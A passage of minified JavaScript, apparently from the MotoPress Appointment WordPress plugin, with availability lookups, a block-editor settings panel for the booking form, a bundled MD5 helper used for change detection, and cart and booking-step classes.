s=this.availability[t];jQuery.extend(e,s.categories)}return e}getAvailableEmployees(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let n=this.availability[i];for(let e in n.employees){let i=n.employees[e];(0===t||t in i.locations)&&(s[e]=i.name)}}return s}getAvailableLocations(e=0,t=0){let s={};for(let i in this.availability){if(0!=e&&i!=e)continue;let n=this.availability[i];for(let e in n.employees){if(0!=t&&e!=t)continue;let i=n.employees[e];jQuery.extend(s,i.locations)}}return s}isAvailableServiceCategory(e){return this.getAvailableServiceCategories().hasOwnProperty(e)}isAvailableService(e){return this.getAvailableServices().hasOwnProperty(e)}isAvailableLocation(e){return this.getAvailableLocations().hasOwnProperty(e)}isAvailableEmployee(e){return this.getAvailableEmployees().hasOwnProperty(e)}filterAvailableEmployees(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(G):0!==t&&i.push(t);let n=[];for(let t in this.availability[e].employees){t=$(t);let s=this.availability[e].employees[t];if(0===i.length)n.push(t);else{p(i,Object.keys(s.locations).map($)).length>0&&n.push(t)}}return 0===n.length?[]:\"entities\"===s?n.map((e=>this.getEmployee(e))):n}filterAvailableLocations(e,t=0,s=\"ids\"){if(!(e in this.availability))return[];let i=[];Array.isArray(t)?i=t.filter(G):0!==t&&i.push(t);let n=[];for(t in this.availability[e].employees){if(t=$(t),i.length>0&&-1===i.indexOf(t))continue;let s=this.availability[e].employees[t];for(let e in s.locations)n.push($(e))}return n=l(n),0===n.length?[]:\"entities\"===s?n.map((e=>this.getLocation(e))):n}}const{Component:J,Fragment:X}=wp.element,{SelectControl:ee,PanelBody:te,TextControl:se,Tooltip:ie,ToggleControl:ne,RangeControl:ae}=wp.components,{InspectorControls:oe,PanelColorSettings:re}=wp.blockEditor||wp.editor;let le=class extends J{constructor(){super(),this.availability=new Z,this.availability.ready().finally((()=>{this.availability.getAvailableServiceCategories(),this.availability.getAvailableServices(),this.availability.getAvailableEmployees(),this.availability.getAvailableLocations()}))}getSelectOptions(e,t,s){let i=[{value:t,label:s}];for(const t in e){let s={};s.value=t,s.label=e[t],i.push(s)}return i}render(){const{form_title:e,show_category:t,show_service:i,show_location:n,show_employee:a,label_category:o,label_service:r,label_location:l,label_employee:p,label_unselected:m,label_option:c,default_category:h,default_service:d,default_location:u,default_employee:g,timepicker_columns:y,show_timepicker_end_time:b,show_add_to_calendar:_,primary_color:f,primary_bg_color:v,secondary_color:w,secondary_bg_color:C,buttons_padding:S,form_width:E}=this.props.attributes,{setAttributes:k}=this.props,P=$(d),I=$(g),T=$(u),D=this.availability.isAvailableServiceCategory(h)?h:\"\",x=this.availability.isAvailableService(P)?P:0,M=this.availability.isAvailableLocation(T)?T:0,A=this.availability.isAvailableEmployee(I)?I:0,B=this.availability.getAvailableServiceCategories(),L=this.availability.getAvailableServices(D,M,A),F=this.availability.getAvailableLocations(x,A),R=this.availability.getAvailableEmployees(x,M),O=this.getSelectOptions(B,\"\",s.__(\"— Any —\",\"motopress-appointment\")),N=this.getSelectOptions(L,0,s.__(\"— Unselected —\",\"motopress-appointment\")),H=this.getSelectOptions(F,0,s.__(\"— Any —\",\"motopress-appointment\")),V=this.getSelectOptions(R,0,s.__(\"— Any —\",\"motopress-appointment\")),z=wp.element.createElement(ne,{label:s.__(\"Show Category?\",\"motopress-appointment\"),help:s.__(\"Show the service category field in the form.\",\"motopress-appointment\"),checked:!1!==i&&t,disabled:!1===i,onChange:e=>{k({show_category:e})}}),q=!1===i?wp.element.createElement(ie,{text:s.sprintf(s.__(\"To enable this option, you need to check the '%s' box.\",\"motopress-appointment\"),s.__(\"Show Service?\",\"motopress-appointment\"))},wp.element.createElement(\"div\",{style:{display:\"inline-block\"}},z)):z,U=wp.element.createElement(ne,{label:s.__(\"Show Service?\",\"motopress-appointment\"),help:s.__(\"Show the service field in the form.\",\"motopress-appointment\"),checked:0===x||i,disabled:0===x,onChange:e=>{k({show_service:e})}}),j=0===x?wp.element.createElement(ie,{text:s.__(\"To enable booking for the specific service only, select the service below first, then uncheck the 'Service' box here.\",\"motopress-appointment\")},wp.element.createElement(\"div\",{style:{display:\"inline-block\"}},U)):U;return wp.element.createElement(React.Fragment,null,wp.element.createElement(oe,null,wp.element.createElement(te,{title:s.__(\"Settings\",\"motopress-appointment\"),initialOpen:!0},wp.element.createElement(se,{label:s.__(\"Form Title\",\"motopress-appointment\"),value:e,onChange:e=>{k({form_title:e})}}),wp.element.createElement(ee,{label:s.__(\"Service\",\"motopress-appointment\"),help:s.__(\"ID of the selected service.\",\"motopress-appointment\"),value:x,onChange:e=>k({default_service:e}),options:N}),q,j,wp.element.createElement(ne,{label:s.__(\"Show Location?\",\"motopress-appointment\"),help:s.__(\"Show the location field in the form.\",\"motopress-appointment\"),checked:n,onChange:e=>{k({show_location:e})}}),wp.element.createElement(ne,{label:s.__(\"Show Employee?\",\"motopress-appointment\"),help:s.__(\"Show the employee field in the form.\",\"motopress-appointment\"),checked:a,onChange:e=>{k({show_employee:e})}}),wp.element.createElement(ne,{label:s.__(\"Show 'Add to Your Calendar?' section.\",\"motopress-appointment\"),help:s.__(\"Allow customers to add an appointment to their own Google, Apple, Outlook, or Yahoo calendar.\",\"motopress-appointment\"),checked:_,onChange:e=>{k({show_add_to_calendar:e})}}),wp.element.createElement(se,{label:s.__(\"Category Field Label\",\"motopress-appointment\"),help:s.__(\"Custom label for the service category field.\",\"motopress-appointment\"),placeholder:s.__(\"Service Category\",\"motopress-appointment\"),value:o,onChange:e=>{k({label_category:e})}}),wp.element.createElement(se,{label:s.__(\"Service Field Label\",\"motopress-appointment\"),help:s.__(\"Custom label for the service field.\",\"motopress-appointment\"),placeholder:s.__(\"Service\",\"motopress-appointment\"),value:r,onChange:e=>{k({label_service:e})}}),wp.element.createElement(se,{label:s.__(\"Location Field Label\",\"motopress-appointment\"),help:s.__(\"Custom label for the location field.\",\"motopress-appointment\"),placeholder:s.__(\"Location\",\"motopress-appointment\"),value:l,onChange:e=>{k({label_location:e})}}),wp.element.createElement(se,{label:s.__(\"Employee Field Label\",\"motopress-appointment\"),help:s.__(\"Custom label for the employee field.\",\"motopress-appointment\"),placeholder:s.__(\"Employee\",\"motopress-appointment\"),value:p,onChange:e=>{k({label_employee:e})}}),wp.element.createElement(se,{label:s.__(\"Unselected Service\",\"motopress-appointment\"),help:s.__(\"Custom label for the unselected service field.\",\"motopress-appointment\"),placeholder:s.__(\"— Select —\",\"motopress-appointment\"),value:m,onChange:e=>{k({label_unselected:e})}}),wp.element.createElement(se,{label:s.__(\"Unselected Option\",\"motopress-appointment\"),help:s.__(\"Custom label for the unselected service category, location and employee fields.\",\"motopress-appointment\"),placeholder:s.__(\"— Any —\",\"motopress-appointment\"),value:c,onChange:e=>{k({label_option:e})}}),wp.element.createElement(ee,{label:s.__(\"Service Category\",\"motopress-appointment\"),help:s.__(\"Slug of the selected service category.\",\"motopress-appointment\"),value:D,onChange:e=>k({default_category:e}),options:O}),wp.element.createElement(ee,{label:s.__(\"Location\",\"motopress-appointment\"),help:s.__(\"ID of the selected location.\",\"motopress-appointment\"),value:M,onChange:e=>k({default_location:e}),options:H}),wp.element.createElement(ee,{label:s.__(\"Employee\",\"motopress-appointment\"),help:s.__(\"ID of the selected employee.\",\"motopress-appointment\"),value:A,onChange:e=>k({default_employee:e}),options:V}),wp.element.createElement(ae,{label:s.__(\"Timepicker Columns Count\",\"motopress-appointment\"),help:s.__(\"The number of columns in the timepicker.\",\"motopress-appointment\"),value:y,onChange:e=>k({timepicker_columns:e}),min:1,max:5}),wp.element.createElement(ne,{label:s.__(\"Show End Time?\",\"motopress-appointment\"),help:s.__(\"Show the time when the appointment ends.\",\"motopress-appointment\"),checked:b,onChange:e=>{k({show_timepicker_end_time:e})}}))),wp.element.createElement(oe,{group:\"styles\"},wp.element.createElement(te,null,wp.element.createElement(\"span\",null,s.__(\"These options only affect what you see on the front end.\",\"motopress-appointment\"))),wp.element.createElement(re,{__experimentalIsRenderedInSidebar:!0,title:s.__(\"Colors\",\"motopress-appointment\"),colorSettings:[{value:f,onChange:e=>{k({primary_color:e})},label:s.__(\"Primary Text Color\",\"motopress-appointment\")},{value:v,onChange:e=>{k({primary_bg_color:e})},label:s.__(\"Primary Background Color\",\"motopress-appointment\")},{value:w,onChange:e=>{k({secondary_color:e})},label:s.__(\"Secondary Text Color\",\"motopress-appointment\")},{value:C,onChange:e=>{k({secondary_bg_color:e})},label:s.__(\"Secondary Background Color\",\"motopress-appointment\")}]}),wp.element.createElement(te,null,wp.element.createElement(se,{label:s.__(\"Form Width\",\"motopress-appointment\"),help:s.__(\"Example: 100%\",\"motopress-appointment\"),value:E,onChange:e=>{k({form_width:e})}}),wp.element.createElement(se,{label:s.__(\"Buttons Padding\",\"motopress-appointment\"),help:s.__(\"Example: 5px 10px\",\"motopress-appointment\"),value:S,onChange:e=>{k({buttons_padding:e})}}))))}};function pe(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,\"default\")?e.default:e}var me,ce,he={exports:{}},de={exports:{}};me=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\u002F\",ce={rotl:function(e,t){return e\u003C\u003Ct|e>>>32-t},rotr:function(e,t){return e\u003C\u003C32-t|e>>>t},endian:function(e){if(e.constructor==Number)return 16711935&ce.rotl(e,8)|4278255360&ce.rotl(e,24);for(var t=0;t\u003Ce.length;t++)e[t]=ce.endian(e[t]);return e},randomBytes:function(e){for(var t=[];e>0;e--)t.push(Math.floor(256*Math.random()));return t},bytesToWords:function(e){for(var t=[],s=0,i=0;s\u003Ce.length;s++,i+=8)t[i>>>5]|=e[s]\u003C\u003C24-i%32;return t},wordsToBytes:function(e){for(var t=[],s=0;s\u003C32*e.length;s+=8)t.push(e[s>>>5]>>>24-s%32&255);return t},bytesToHex:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push((e[s]>>>4).toString(16)),t.push((15&e[s]).toString(16));return t.join(\"\")},hexToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s+=2)t.push(parseInt(e.substr(s,2),16));return t},bytesToBase64:function(e){for(var t=[],s=0;s\u003Ce.length;s+=3)for(var i=e[s]\u003C\u003C16|e[s+1]\u003C\u003C8|e[s+2],n=0;n\u003C4;n++)8*s+6*n\u003C=8*e.length?t.push(me.charAt(i>>>6*(3-n)&63)):t.push(\"=\");return t.join(\"\")},base64ToBytes:function(e){e=e.replace(\u002F[^A-Z0-9+\\\u002F]\u002Fgi,\"\");for(var t=[],s=0,i=0;s\u003Ce.length;i=++s%4)0!=i&&t.push((me.indexOf(e.charAt(s-1))&Math.pow(2,-2*i+8)-1)\u003C\u003C2*i|me.indexOf(e.charAt(s))>>>6-2*i);return t}},de.exports=ce;var ue=de.exports,ge={utf8:{stringToBytes:function(e){return ge.bin.stringToBytes(unescape(encodeURIComponent(e)))},bytesToString:function(e){return decodeURIComponent(escape(ge.bin.bytesToString(e)))}},bin:{stringToBytes:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(255&e.charCodeAt(s));return t},bytesToString:function(e){for(var t=[],s=0;s\u003Ce.length;s++)t.push(String.fromCharCode(e[s]));return t.join(\"\")}}},ye=ge,be=function(e){return null!=e&&(_e(e)||function(e){return\"function\"==typeof e.readFloatLE&&\"function\"==typeof e.slice&&_e(e.slice(0,0))}(e)||!!e._isBuffer)};function _e(e){return!!e.constructor&&\"function\"==typeof e.constructor.isBuffer&&e.constructor.isBuffer(e)}!function(){var e=ue,t=ye.utf8,s=be,i=ye.bin,n=function(a,o){a.constructor==String?a=o&&\"binary\"===o.encoding?i.stringToBytes(a):t.stringToBytes(a):s(a)?a=Array.prototype.slice.call(a,0):Array.isArray(a)||a.constructor===Uint8Array||(a=a.toString());for(var r=e.bytesToWords(a),l=8*a.length,p=1732584193,m=-271733879,c=-1732584194,h=271733878,d=0;d\u003Cr.length;d++)r[d]=16711935&(r[d]\u003C\u003C8|r[d]>>>24)|4278255360&(r[d]\u003C\u003C24|r[d]>>>8);r[l>>>5]|=128\u003C\u003Cl%32,r[14+(l+64>>>9\u003C\u003C4)]=l;var u=n._ff,g=n._gg,y=n._hh,b=n._ii;for(d=0;d\u003Cr.length;d+=16){var _=p,f=m,v=c,w=h;p=u(p,m,c,h,r[d+0],7,-680876936),h=u(h,p,m,c,r[d+1],12,-389564586),c=u(c,h,p,m,r[d+2],17,606105819),m=u(m,c,h,p,r[d+3],22,-1044525330),p=u(p,m,c,h,r[d+4],7,-176418897),h=u(h,p,m,c,r[d+5],12,1200080426),c=u(c,h,p,m,r[d+6],17,-1473231341),m=u(m,c,h,p,r[d+7],22,-45705983),p=u(p,m,c,h,r[d+8],7,1770035416),h=u(h,p,m,c,r[d+9],12,-1958414417),c=u(c,h,p,m,r[d+10],17,-42063),m=u(m,c,h,p,r[d+11],22,-1990404162),p=u(p,m,c,h,r[d+12],7,1804603682),h=u(h,p,m,c,r[d+13],12,-40341101),c=u(c,h,p,m,r[d+14],17,-1502002290),p=g(p,m=u(m,c,h,p,r[d+15],22,1236535329),c,h,r[d+1],5,-165796510),h=g(h,p,m,c,r[d+6],9,-1069501632),c=g(c,h,p,m,r[d+11],14,643717713),m=g(m,c,h,p,r[d+0],20,-373897302),p=g(p,m,c,h,r[d+5],5,-701558691),h=g(h,p,m,c,r[d+10],9,38016083),c=g(c,h,p,m,r[d+15],14,-660478335),m=g(m,c,h,p,r[d+4],20,-405537848),p=g(p,m,c,h,r[d+9],5,568446438),h=g(h,p,m,c,r[d+14],9,-1019803690),c=g(c,h,p,m,r[d+3],14,-187363961),m=g(m,c,h,p,r[d+8],20,1163531501),p=g(p,m,c,h,r[d+13],5,-1444681467),h=g(h,p,m,c,r[d+2],9,-51403784),c=g(c,h,p,m,r[d+7],14,1735328473),p=y(p,m=g(m,c,h,p,r[d+12],20,-1926607734),c,h,r[d+5],4,-378558),h=y(h,p,m,c,r[d+8],11,-2022574463),c=y(c,h,p,m,r[d+11],16,1839030562),m=y(m,c,h,p,r[d+14],23,-35309556),p=y(p,m,c,h,r[d+1],4,-1530992060),h=y(h,p,m,c,r[d+4],11,1272893353),c=y(c,h,p,m,r[d+7],16,-155497632),m=y(m,c,h,p,r[d+10],23,-1094730640),p=y(p,m,c,h,r[d+13],4,681279174),h=y(h,p,m,c,r[d+0],11,-358537222),c=y(c,h,p,m,r[d+3],16,-722521979),m=y(m,c,h,p,r[d+6],23,76029189),p=y(p,m,c,h,r[d+9],4,-640364487),h=y(h,p,m,c,r[d+12],11,-421815835),c=y(c,h,p,m,r[d+15],16,530742520),p=b(p,m=y(m,c,h,p,r[d+2],23,-995338651),c,h,r[d+0],6,-198630844),h=b(h,p,m,c,r[d+7],10,1126891415),c=b(c,h,p,m,r[d+14],15,-1416354905),m=b(m,c,h,p,r[d+5],21,-57434055),p=b(p,m,c,h,r[d+12],6,1700485571),h=b(h,p,m,c,r[d+3],10,-1894986606),c=b(c,h,p,m,r[d+10],15,-1051523),m=b(m,c,h,p,r[d+1],21,-2054922799),p=b(p,m,c,h,r[d+8],6,1873313359),h=b(h,p,m,c,r[d+15],10,-30611744),c=b(c,h,p,m,r[d+6],15,-1560198380),m=b(m,c,h,p,r[d+13],21,1309151649),p=b(p,m,c,h,r[d+4],6,-145523070),h=b(h,p,m,c,r[d+11],10,-1120210379),c=b(c,h,p,m,r[d+2],15,718787259),m=b(m,c,h,p,r[d+9],21,-343485551),p=p+_>>>0,m=m+f>>>0,c=c+v>>>0,h=h+w>>>0}return e.endian([p,m,c,h])};n._ff=function(e,t,s,i,n,a,o){var r=e+(t&s|~t&i)+(n>>>0)+o;return(r\u003C\u003Ca|r>>>32-a)+t},n._gg=function(e,t,s,i,n,a,o){var r=e+(t&i|s&~i)+(n>>>0)+o;return(r\u003C\u003Ca|r>>>32-a)+t},n._hh=function(e,t,s,i,n,a,o){var r=e+(t^s^i)+(n>>>0)+o;return(r\u003C\u003Ca|r>>>32-a)+t},n._ii=function(e,t,s,i,n,a,o){var r=e+(s^(t|~i))+(n>>>0)+o;return(r\u003C\u003Ca|r>>>32-a)+t},n._blocksize=16,n._digestsize=16,he.exports=function(t,s){if(null==t)throw new Error(\"Illegal argument \"+t);var a=e.wordsToBytes(n(t,s));return s&&s.asBytes?a:s&&s.asString?i.bytesToString(a):e.bytesToHex(a)}}();var fe=pe(he.exports);class ve{setupProperties(){this.itemId=\"\",this.service=null,this.serviceCategories={},this.employee=null,this.location=null,this.date=null,this.time=null,this.capacity=1,this.availableEmployees=[],this.availableLocations=[],this.bookingVariants=[]}constructor(e){this.setupProperties(),this.itemId=e}getDate(){return this.date}getTime(){return this.time}getItemId(){return this.itemId}getAvailableEmployeeIds(){return this.availableEmployees.map((e=>e.id))}getAvailableLocationIds(){return this.availableLocations.map((e=>e.id))}getAvailableIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,employee_ids:this.getAvailableEmployeeIds(),location_ids:this.getAvailableLocationIds()}}getIds(){return{service_id:null!==this.service?this.service.id:0,employee_id:null!==this.employee?this.employee.id:0,location_id:null!==this.location?this.location.id:0}}toArray(e=\"all\"){return\"ids\"===e?this.getIds():\"availability\"===e?this.getAvailableIds():\"period\"===e?{date:null!==this.date?E(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\"}:jQuery.extend(this.getIds(),{date:null!==this.date?E(this.date,\"internal\"):\"\",time:null!==this.time?this.time.toString(\"internal\"):\"\",capacity:this.capacity})}isSet(e=\"all\"){let t=!0;return\"all\"!==e&&\"ids\"!==e||(t=t&&null!==this.service&&null!==this.employee&&null!==this.location),\"all\"!==e&&\"period\"!==e||(t=t&&null!==this.date&&null!==this.time),t}isAtTime(e,t){return null!==this.date&&null!==this.time&&E(this.date,\"internal\")==E(e,\"internal\")&&this.time.toString(\"internal\")==t.toString(\"internal\")}getCapacity(){return this.capacity}getMinCapacity(){return null!==this.service?this.service.getMinCapacity(this.getEmployeeId()):1}getMaxCapacity(){return null!==this.service?this.service.getMaxCapacity(this.getEmployeeId()):1}getMinPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMaxCapacity();for(let t of this.bookingVariants)e=Math.min(e,t.minCapacity);return e}}getMaxPossibleCapacity(){if(null===this.service)return 1;{let e=this.getMinCapacity();for(let t of this.bookingVariants)e=Math.max(e,t.maxCapacity);return e}}getCapacityOptions(){if(null===this.service)return[1];{let e=[];for(let t of this.bookingVariants)e=e.concat(c(t.minCapacity,t.maxCapacity));return l(e)}}getPrice(){if(!this.service)return 0;let e=this.employee?this.employee.id:0;return this.service.getPrice(e,this.capacity)}getDeposit(e){let t=0;switch(this.service.depositType){case\"disabled\":default:t=e;break;case\"fixed\":t=this.service.depositAmount;break;case\"percentage\":t=e*this.service.depositAmount\u002F100}return t>e?e:t}getHash(e=\"all\"){return fe(JSON.stringify(this.toArray(e)))}didChange(e,t=\"all\"){return e!==this.getHash(t)}getEmployeeId(){return this.employee?this.employee.getId():0}getEmployee(e){if(null!==this.employee&&this.employee.getId()==e)return this.employee;for(let t of this.availableEmployees)if(t.id==e)return t;return null}getLocationId(){return this.location?this.location.getId():0}getLocation(e){if(null!==this.location&&this.location.id==e)return this.location;for(let t of this.availableLocations)if(t.id==e)return t;return null}getService(){return this.service}hasMultipleAvailableEmployees(){return this.availableEmployees.length>1}hasMultipleAvailableLocations(){return this.availableLocations.length>1}hasMultipleAvailableVariants(){return this.hasMultipleAvailableEmployees()||this.hasMultipleAvailableLocations()}setService(e){this.service=e}setServiceCategories(e){this.serviceCategories=e}setEmployee(e,t=!0){\"number\"==typeof e&&(e=this.getEmployee(e)),this.employee=e,!0===t&&(this.availableEmployees=[e])}setAvailableEmployees(e,t=!0){this.availableEmployees=e,!0===t&&(this.employee=null)}setLocation(e,t=!0){\"number\"==typeof e&&(e=this.getLocation(e)),this.location=e,!0===t&&(this.availableLocations=[e])}setAvailableLocations(e,t=!0){this.availableLocations=e,!0===t&&(this.location=null)}setCapacity(e){this.capacity=e}setBookingVariants(e){this.bookingVariants=[];for(let t of e)this.bookingVariants.push({employeeId:t[0],locationId:t[1],minCapacity:t[2],maxCapacity:t[3]})}getBookingVariantForCapacity(e){for(let t of this.bookingVariants)if(e>=t.minCapacity&&e\u003C=t.maxCapacity)return t;return{employeeId:this.getEmployeeId(),locationId:this.getLocationId(),minCapacity:this.getMinCapacity(),maxCapacity:this.getMaxCapacity()}}removeBookingVariatForEmployee(e){for(let t in this.bookingVariants){this.bookingVariants[t].employeeId==e&&this.bookingVariants.splice(t,1)}}}let we=class{constructor(e=null){this.setupProperties(),null!=e&&this.merge(e)}setupProperties(){this.keys=[],this.values={},this.length=0}merge(e){for(let t in e)this.push(t,e[t])}push(e,t){let s=!this.includesKey(e);return this.values[e]=t,s&&(this.keys.push(e),this.length++),s}find(e,t=null){return this.includesKey(e)?this.values[e]:t}findNext(e,t=null){let s=this.findNextKey(e);return\"\"!==s?this.values[s]:t}findNextKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t+1;return s\u003Cthis.length?this.keys[s]:this.keys[t]}findPrevious(e,t=null){let s=this.findPreviousKey(e);return\"\"!==s?this.values[s]:t}findPreviousKey(e){let t=this.keys.indexOf(e);if(-1===t)return\"\";let s=t-1;return s>=0?this.keys[s]:this.keys[t]}update(e,t){return this.push(e,t)}remove(e){if(!this.includesKey(e))return null;let t=this.values[e];delete this.values[e];let s=this.keys.indexOf(e);return this.keys.splice(s,1),this.length--,t}empty(){return this.keys=[],this.values={},this.length=0,this}isEmpty(){return 0==this.length}includesKey(e){return e in this.values}firstKey(){return this.keys.length>0?this.keys[0]:null}firstValue(){let e=this.firstKey();return null!==e?this.values[e]:null}lastValue(){let e=this.lastKey();return null!=e?this.values[e]:null}lastKey(){return this.isEmpty()?null:this.keys[this.length-1]}cloneKeys(){return[...this.keys]}getColumn(e){let t=[];for(let s of this.keys){let i=this.values[s][e];null!=i&&(Array.isArray(i)?t=t.concat(i):t.push(i))}return l(t)}forEach(e){let t=0;for(let s of this.keys){let i=e(this.values[s],t,s,this);if(t++,!1===i)break}}map(e){let t=[],s=0;for(let i of this.keys)t.push(e(this.values[i],s,i,this)),s++;return t}toArray(){let e=[];for(let t of this.keys)e.push(this.values[t]);return e}getLength(){return this.length}};class Ce{setupProperties(){this.items=new we,this.activeItem=null,this.customerDetails={name:\"\",email:\"\",phone:\"\"},this.paymentDetails={booking_id:0,gateway_id:\"none\"},this.coupon=null,this.bookingNonce=mpaData.nonces.mpa_create_booking}constructor(){this.setupProperties()}createItem(e=\"\"){e||(e=K());let t=new ve(e);return this.items.push(e,t),this.activeItem=t,t}getItem(e){return this.items.find(e)}getActiveItem(){return this.activeItem}getActiveItemId(){return null!==this.activeItem?this.activeItem.getItemId():\"\"}getItems(){return this.items}getItemsCount(){return this.items.getLength()}setActiveItem(e){this.activeItem=\"string\"==typeof e?this.getItem(e):e}removeItem(e){\"string\"==typeof e?this.items.remove(e):this.items.remove(e.getItemId())}isEmpty(){return 0===this.getItemsCount()}getProducts(){let e=[];return this.items.forEach((t=>{null!=t.service&&e.push({name:t.service.name,price:t.getPrice(),capacity:t.getCapacity(),quantity_label:t.getService().getQuantityLabel()})})),e}getSubtotalPrice(e=null){null===e&&(e=this.getProducts());let t=0;for(let s of e)t+=s.price;return t}getTotalPrice(e=null){let t=this.getSubtotalPrice(e);if(this.hasCoupon()){let e=this.coupon.calcDiscountAmount(this);return Math.max(0,t-e)}return t}getDeposit(){let e=0;return this.items.forEach((t=>{let s=t.getPrice();this.hasCoupon()&&(s-=this.coupon.calcDiscountForCartItem(t)),e+=t.getDeposit(s)})),e}getCustomer(){return this.customerDetails}getOrder(){let e=this.getProducts(),t={products:e,subtotal:this.getSubtotalPrice(e),total:this.getTotalPrice(e),customer:this.getCustomer()};return this.hasCoupon()&&(t.coupon={code:this.coupon.getCode(),amount:this.coupon.calcDiscountAmount(this)}),t.deposit=this.getDeposit(),t}getPaymentDetails(){return this.paymentDetails}toArray(e=\"all\"){let t={items:[],customer:this.customerDetails};return this.items.forEach((e=>{e.isSet()&&t.items.push(e.toArray())})),C().settings().isPaymentsEnabled()&&(t.payment_details=this.paymentDetails),this.hasCoupon()&&(t.coupon=this.coupon.getCode()),\"items\"===e?t.items:t}getHash(e=\"all\"){return fe(\"order\"!==e?JSON.stringify(this.toArray(e)):JSON.stringify(this.getOrder()))}didChange(e,t=\"all\"){return e!==this.getHash(t)}setCustomerDetails(e){jQuery.extend(this.customerDetails,e)}setPaymentDetails(e){jQuery.extend(this.paymentDetails,e)}reset(){this.setupProperties()}getMinDate(){let e=null;return this.items.forEach((t=>{t.date&&(!e||e>t.date)&&(e=new Date(t.date.getTime()))})),e||P()}getServiceIds(){let e=this.items.map((e=>null!=e.service?e.service.id:0));return e=l(e),e}updateServices(e){for(let t of e)this.items.forEach((e=>{null!=e.service&&e.service.id===t.id&&(e.service=t)}))}setCoupon(e){this.coupon=e}removeCoupon(){this.coupon=null}hasCoupon(){return null!=this.coupon}testCoupon(){this.hasCoupon()&&!this.coupon.isApplicableForCart(this)&&this.removeCoupon()}getBookingNonce(){return this.bookingNonce}setBookingNonce(e){this.bookingNonce=e}}class Se{constructor(e){this.cart=e,this.steps=new we,this.currentStep=null,this.currentStepId=\"\"}addStep(e){return this.steps.push(e.stepId,e),this}getStep(e){return this.steps.find(e)}mount(e){this.addListeners(e)}addListeners(e){e.children(\".mpa-booking-step\").on(\"mpa_booking_step_next\",((e,t)=>this.onStep(\"next\",t))).on(\"mpa_booking_step_back\",((e,t)=>this.onStep(\"back\",t))).on(\"mpa_booking_step_new\",((e,t)=>this.onStep(\"new\",t))).on(\"mpa_reset_booking\",((e,t)=>this.onStep(\"reset\",t)))}onStep(e,t){if(!t||!t.step||t.step===this.currentStepId)switch(e){case\"next\":this.goToNextStep();break;case\"back\":this.goToPreviousStep();break;case\"new\":this.goToFirstStep();break;case\"reset\":this.reset()}}goToNextStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findNextKey(this.currentStepId):this.steps.firstKey();e!==this.currentStepId&&(this.switchStep(e),this.skipNextHiddenSteps())}skipNextHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.submit()}))}goToPreviousStep(){if(this.steps.isEmpty())return;let e=this.currentStep?this.steps.findPreviousKey(this.currentStepId):\"\";e&&e!==this.currentStepId&&(this.switchStep(e),this.skipPreviousHiddenSteps())}skipPreviousHiddenSteps(){null!==this.currentStep&&this.currentStep.ready().finally((()=>{this.currentStep.isHiddenStep&&this.currentStep.cancel()}))}goToFirstStep(){if(this.steps.isEmpty())return;this.cart.createItem(),this.steps.forEach((e=>{\"cart item\"===e.getCartContext()&&e.reset()}));let e=this.steps.firstKey();this.switchStep(e),this.skipNextHiddenSteps()}goToStep(e){this.switchStep(e)}getFirstVisibleStepId(){let e=null;return this.steps.forEach((t=>{if(!1===t.isHiddenStep)return e=t.stepId,!1})),e}isFirstVisibleStepId(e){return this.getFirstVisibleStepId()===e}switchStep(e){let t=this.steps.find(e);null!=t&&(this.isFirstVisibleStepId(e)&&t.hideButtonBack(),null!=this.currentStep&&this.currentStep.hide(),this.currentStep=t,this.currentStepId=e,t.load(),t.ready().finally((()=>t.show())))}reset(){this.cart.reset(),this.goToFirstStep(),this.steps.forEach((e=>{\"cart item\"!==e.getCartContext()&&e.reset()}))}}class Ee{constructor(e,t){this.$element=e,this.cart=t,this.setupProperties(),this.addListeners()}setupProperties(){this.stepId=this.theId(),this.schema=this.propertiesSchema(),this.isActive=!1,this.isLoaded=!1,this.isHiddenStep=!1,this.preventReact=!1,this.preventUpdate=!1,this.hideButtons=!1,this.readyPromise=null,this.$buttons=this.$element.find(\".mpa-actions\"),this.$buttonBack=this.$buttons.find(\".mpa-button-back\"),this.$buttonNext=this.$buttons.find(\".mpa-button-next\")}theId(){return\"abstract\"}getCartContext(){return\"cart\"}propertiesSchema(){return{}}addListeners(){this.$buttonBack.on(\"click\",this.cancel.bind(this)),this.$buttonNext.on(\"click\",this.submit.bind(this))}load(){this.isLoaded?this.readyPromise=this.reload():(this.readyPromise=this.loadEntities(),this.isLoaded=!0)}loadEntities(){return Promise.resolve(this)}reload(){return Promise.resolve(this)}reset(){}ready(){return this.readyPromise}isValidInput(){return!1}setProperty(e,t){if(this.preventUpdate)return;let s=this.validateProperty(e,t);if(s===this[e])return;let i=this.preventReact;this.preventReact=!0,this.updateProperty(e,s),i||(this.isActive&&this.react(),this.preventReact=!1)}resetProperty(e){this.setProperty(e)}validateProperty(e,t){let s=t;if(e in this.schema){let i=this.schema[e];if(null==t)s=i.default;else{switch(i.type){case\"bool\":s=T(t);break;case\"integer\":s=$(t)}if(!Q(s)&&null!=i.options){i.options.indexOf(s)>=0||(s=this[e])}}}else null==t&&(s=null);return s}updateProperty(e,t){let s=this[e];this[e]=t,this.afterUpdate(e,t,s)}afterUpdate(e,t,s){}react(){let e=this.isValidInput();this.$buttonNext.prop(\"disabled\",!e),this.hideButtons&&this.$buttons.toggleClass(\"mpa-hide\",!e)}show(){this.enable(),this.react(),this.$element.removeClass(\"mpa-hide\"),this.readyPromise.finally((()=>this.showReady()))}showReady(){this.$element.addClass(\"mpa-loaded\"),this.hideButtons||this.$buttons.removeClass(\"mpa-hide\")}hide(){this.disable(),this.$element.addClass(\"mpa-hide\")}enable(){this.isActive=!0,this.$buttonBack.prop(\"disabled\",!1),this.$buttonNext.prop(\"disabled\",!1)}disable(){this.isActive=!1,this.$buttonBack.prop(\"disabled\",!0),this.$buttonNext.prop(\"disabled\",!0)}cancel(e){void 